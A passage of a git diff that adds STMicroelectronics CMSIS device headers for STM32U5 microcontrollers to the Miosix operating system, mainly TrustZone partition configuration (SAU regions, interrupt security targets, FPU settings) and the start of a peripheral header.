FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U5G7XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5g9xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5g9xx.h new file mode 100644 index 000000000..751852a62 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5g9xx.h @@ -0,0 +1,696 @@ +/** + ****************************************************************************** + * @file partition_stm32u5g9xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5G9xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U5G9XX_H +#define PARTITION_STM32U5G9XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x202EFFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..138) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..140 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_ER_IRQn <0=> Secure state <1=> Non-Secure state +// GFXMMU_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_ER_IRQn <0=> Secure state <1=> Non-Secure state +// DSI_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE2_IRQn <0=> Secure state <1=> Non-Secure state +// GFXTIM_IRQn <0=> Secure state <1=> Non-Secure state +// JPEG_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U5G9XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/partition_stm32u5xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/partition_stm32u5xx.h new file mode 100644 index 000000000..453155549 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/partition_stm32u5xx.h @@ -0,0 +1,88 @@ +/** + ****************************************************************************** + * @file partition_stm32u5xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5xx Device Header File for Initial Setup for + * Secure / Non-Secure Zones based on CMSIS CORE V5.4.0 + * + * The file is included in system_stm32u5xx_s.c in secure application. + * It includes the configuration section that allows to select the + * STM32U5xx device partitioning file for system core secure attributes + * and interrupt secure and non-secure assignment. + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2021 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32u5xx + * @{ + */ + +#ifndef PARTITION_STM32U5XX_H +#define PARTITION_STM32U5XX_H + +#ifdef __cplusplus + extern "C" { +#endif /* __cplusplus */ + +/** @addtogroup Secure_configuration_section + * @{ + */ + +#if defined(STM32U575xx) + #include "partition_stm32u575xx.h" +#elif defined(STM32U585xx) + #include "partition_stm32u585xx.h" +#elif defined(STM32U595xx) + #include "partition_stm32u595xx.h" +#elif defined(STM32U5A5xx) + #include "partition_stm32u5a5xx.h" +#elif defined(STM32U599xx) + #include "partition_stm32u599xx.h" +#elif defined(STM32U5A9xx) + #include "partition_stm32u5a9xx.h" +#elif defined(STM32U5F7xx) + #include "partition_stm32u5f7xx.h" +#elif defined(STM32U5G7xx) + #include "partition_stm32u5g7xx.h" +#elif defined(STM32U5F9xx) + #include "partition_stm32u5f9xx.h" +#elif defined(STM32U5G9xx) + #include "partition_stm32u5g9xx.h" +#elif defined(STM32U535xx) + #include "partition_stm32u535xx.h" +#elif defined(STM32U545xx) + #include "partition_stm32u545xx.h" +#else + #error "Please select first the target STM32U5xx device used in your application (in stm32u5xx.h file)" +#endif + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* PARTITION_STM32U5XX_H */ +/** + * @} + */ + +/** + * @} + */ + + + + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u535xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u535xx.h new file mode 100644 index 000000000..887cf9760 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u535xx.h @@ -0,0 +1,21068 @@ +/** + ****************************************************************************** + * @file stm32u535xx.h + * @author MCD Application Team + * @brief CMSIS STM32U535xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32U535xx_H +#define STM32U535xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32U535xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32U535xx Specific Interrupt Numbers ================================= */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_PVM_IRQn = 1, /*!< PVD/PVM through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + 